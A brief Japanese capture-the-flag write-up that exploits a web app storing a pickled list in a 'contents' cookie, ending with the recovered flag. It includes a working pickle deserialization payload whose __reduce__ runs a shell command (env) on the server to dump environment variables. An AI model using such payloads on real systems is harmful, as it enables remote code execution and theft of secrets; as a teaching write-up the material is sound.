調査
よくわからないピクルスと共に文字を登録できるサイトが与えられる。
pythonでpickleといえば、やることはUnsafe Deserializationだろう。
Proxy履歴を見ると、contentsクッキーになんか入っている。
Set-Cookie: contents=gASVDQAAAAAAAABdlCiMAXiUjAF5lGUu; Path=/
ソースコード読み
配列がpickleでシリアライズされている。
普通に出力して表示しているのでUnsafe Desearialization達成できそうだ。
Unsafe Deserialization
import pickle import base64 class Exploit(object): def __reduce__(self): import subprocess return (subprocess.check_output, (['env'],)) data = [Exploit()] print(base64.b64encode(pickle.dumps(data)))
フラグは環境変数に入っているのでenvコマンドを動かしてみよう。
・・・
フラグが出てきましたね。
`actf{you_got_yourself_out_of_a_pickle}